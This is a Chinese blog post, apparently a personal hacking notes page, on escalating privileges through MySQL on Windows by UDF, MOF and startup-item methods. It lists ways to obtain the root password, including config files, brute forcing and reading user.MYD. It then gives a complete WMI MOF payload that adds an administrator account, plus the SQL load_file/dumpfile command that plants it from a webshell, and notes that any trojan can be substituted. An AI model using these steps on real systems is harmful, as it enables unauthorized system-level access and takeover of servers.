MySQL提权

Udf提权,mof提权,启动项

Udf提权:功能型提权

Mof提权:漏洞型提权

启动项提权:技巧型提权

 

第一部分:

mysql提权条件:获取最高用户root的密码 

 

获取方式:数据库配置文件、端口破解口令、下载数据库文件获取等

1.数据库配置文件

Config,conn,data,sql,include,common,inc等命名文件

 

 

2.口令猜解

Hscan,x-scan,hydra,破解脚本等

3.数据库文件

由于数据库文件同数据库本身结构一致,导致文件可读取数据

 

 

 

由于root的帐号密码存储在数据库mysql下的user表,所以对应的目录地

址../data/mysql/user.myd文件

 

 

 

第二部分:

udf提权(小于5.1版本及大于5.1版本)

小于5.1版本导出路径:c:/windows

大于5.1版本导出路径:../lib/plugin 不存在需创建

脚本提权(大马或提权脚本都可以)


mof提权及启动项提权

这个:MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day 
http://www.exploit-db.com/exploits/23083/ 
大致看了一下,原来是在导出文件的时候出的问题,具体怎么出的问题,表示看mysql的源码不是我能看的来的。。 
大家都知道,要对方开启mysql的外联,并且有root密码,这种情况只能用来扫肉鸡了,还蛋疼的不行。所以我感觉用在webshell下辅助提权不错,毕竟如果导udf什么相对麻烦了一些。所以就有下面的利用: 
1.找个可写目录,我这里是C:\recycler\,把如下代码写到nullevt.mof文件里(也就是他源码里的payload): 
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};
注意上面的net.exe user admin admin /add,可以随便改的,想执行啥都行,有没有参数也都行,执行自己的马也行。 
再然后,在菜刀里连接mysql数据库后执行: 
select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
 

 


再然后。。你会发现用户添加上去了。 
注:测试环境为windows 2003 + mysql 5.0.45-community-nt 
win7旗舰版 sp1 + mysql-5.5.28 测试失败,2008未测试。 
不过那个利用ADS新建\lib\plugin目录的bug还在,还可以利用那个去导udf提权的。

 

补充:

脚本权限不一致

Asp php aspx jsp cgi pl等

Jsp权限默认就是system

Asp=php

Aspx稍微大 user权限

Pl cgi py = Aspx

posted @ 2018-01-18 11:10  dajjjj  阅读(55)  评论(0)    收藏  举报